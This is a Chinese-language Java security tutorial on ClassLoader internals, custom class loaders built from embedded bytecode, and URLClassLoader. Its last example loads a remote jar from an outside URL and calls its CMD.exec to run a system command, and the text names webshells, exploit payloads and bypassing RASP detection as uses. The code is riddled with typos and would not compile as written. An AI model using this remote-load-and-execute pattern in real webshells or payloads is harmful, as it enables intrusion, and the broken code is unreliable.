ClassLoader类有如下核心方法

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

Java类加载方式分为显式隐式:

  1. 显式为使用Java反射或者ClassLoader来动态加载一个类对象。即类动态加载,自定义类加载器去加载任意类
  2. 隐式为类名.方法名()或new类实例

常用的类动态加载方式:

  1. // 反射加载TestHelloWorld示例
  2. Class.forName("com.anbai.sec.classloader.TesthellowWorld")
  3. // ClassLoader加载TestHelloWorld示例
  4. this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName("类名")默认初始化被加载类的静态属性和方法,Class.forName("类名",是否初始化类,类加载),可以不初始化类
ClassLoader.loadClass默认不会初始化类方法

ClassLoader类加载流程

ClassLoader加载com.anbai.sec.classloader.TestHelloWorld类重要加载流程

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载com.anbai.sec.classloader.TestHelloWorld类。
  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经被初始化,如果JVM已经初始化过该类则直接返回类对象。
  3. 如果创建当前ClassLoader时传入了父类加载器(newClassLoader(父类加载器))就使用父类加载器TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
  4. 假如上一步无法完成加载TestHelloWorld类,将调用自身的findClass方法加载TestHelloWorld类。
  5. 如果当前ClassLoader没用重写findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名遭到对应的字节码,那么将调用defineClass方法去JVM中注册该类。
  6. 如果调用loadClass的时候传入的resolve参数为true,还需调用resolveClass方法链接类,默认为false。
  7. 最后返回一个被JVM加载后的java.lan.Class类对象。

    自定义ClassLoader

    java.lan.ClassLoader是所有类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,如用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader 类,重写了findClass方法从而实现了加载目录class文件甚至远程资源文件。
    使用类加载器来实现加载自定义的字节码(以加载TestHelloWorld类为例)并调用hello方法。
  • 如果com.anbai.sec.classloader.TestHelloWorld类存在的情况下,我们可以使用如下代码即可实现调用hello方法并输出:

    1. TestHelloWorld t = new TestHelloWorld;
    2. String str = t.hello();
    3. System.out.println(str);
  • 如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

TestClassLoader示例代码:

  1. package com.anbai.sec.classloader;
  2. import java.lang.reflect.method;
  3. public class TestClassloader extends ClassLoader {
  4. // TestHelloWorld类名
  5. private static String testClassName = "com.anbai.sec.classLoader.TestHelloWorld";
  6. // TestHelloWorld类字节码
  7. private static byte[] testclassBytes = new byte[]{
  8. -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
  9. 16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
  10. 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
  11. 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
  12. 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
  13. 101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
  14. 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
  15. 32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
  16. 115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
  17. 116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
  18. 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
  19. 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
  20. 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
  21. 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
  22. 0, 0, 0, 2, 0, 12
  23. };
  24. public Class<?> findClass(string name) throws ClassNotFoundException {
  25. // 只处理TestHellWorld类
  26. if (name.equals(testClassName)) {
  27. // 调用JVM的native方法定义TestHelloWorld类
  28. return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
  29. }
  30. return super.findClass(name);
  31. }
  32. public static void main(String[] arge) {
  33. // 创建自定义的类加载器
  34. TestClassLoader loader = new TestClassLoader();
  35. try {
  36. // 使用自定义的类加载器加载TestHelloWorld类
  37. Class testClass = loader.loadClass(testClassName);
  38. // 反射创建TestHelloWorld类,等价与TestHelloWorld t = new TestHelloWorld();
  39. Object testInstance = testClass.newInstance();
  40. // 反射获取hello方法
  41. Method method = testInstance.getClass().getMethod("hello");
  42. // 反射调用hell方法,等价与 String str = t.hello();
  43. String str = (String) method.invoke(testINstance);
  44. System.out.println(str);
  45. } catch (Exception e) {
  46. e.printStackTrace();
  47. }
  48. }
  49. }

利用自定义类加载器可以在webshell中实现加载并调用自己编译的类对象。
如:本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(弱加密)。

URLClassLoader

URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力, 写漏洞利用的Payload或者webshell的时候使用这个特征来加载远程的jar来实现远程的类方法调用。

  1. import java.io.ByteArrayOutputStream;
  2. import java.io.InputStream;
  3. import java.net.URL;
  4. import java.net.URLClassLoader;
  5. public class TestURLClassLoader {
  6. public static void main (String[] args) {
  7. try {
  8. // 定义远程加载的jar路径
  9. URL url = new URL("https://javaweb.org/tools/cmd.jar");
  10. // 创建URLClassLoader对象,并远程加载jar包
  11. URLCLassLoader ucl = new URLClassLoader(new URL[]{url});
  12. // 定义需要执行的系统命令
  13. String cmd = "ls";
  14. // 通过URLClassLoader加载远程jar包中的CMD类
  15. Class cmdClass = ucl.loadClass("CMD");
  16. // 调用CMD类中的exec方法。等价于:Process process = CMD.exec("whoami");
  17. Process processs = (Process) cmdClass.getMethod("exec", String.class).invoke(null.cmd);
  18. // 获取命令执行结果的输入流
  19. InputStream in = process.getInputStream();
  20. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  21. byte[] b = new byte[1024];
  22. int a = -1;
  23. // 读取命令执行结果
  24. while ((a = in.read(b)) != -1) {
  25. baos.write(b, 0, a);
  26. }
  27. // 输出命令执行结果
  28. System.out.println(baos.toString());
  29. } catch (Exception e) {
  30. e.printStackTrace();
  31. }
  32. }
  33. }

总结:

  • ClassLoader是JVM中一个非常重要的组成部分
  • ClassLoader可以加载任意的java类
  • 通过自定义ClassLoader更能够实现自定义类加载行为